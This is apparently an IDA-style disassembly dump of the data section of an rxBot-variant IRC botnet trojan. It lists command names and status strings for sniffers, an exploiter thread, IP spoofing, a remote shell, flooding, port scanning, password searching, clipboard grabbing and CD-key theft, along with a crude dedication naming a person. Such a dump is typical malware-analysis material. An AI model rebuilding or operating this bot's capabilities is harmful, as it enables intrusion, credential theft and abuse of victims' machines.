unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
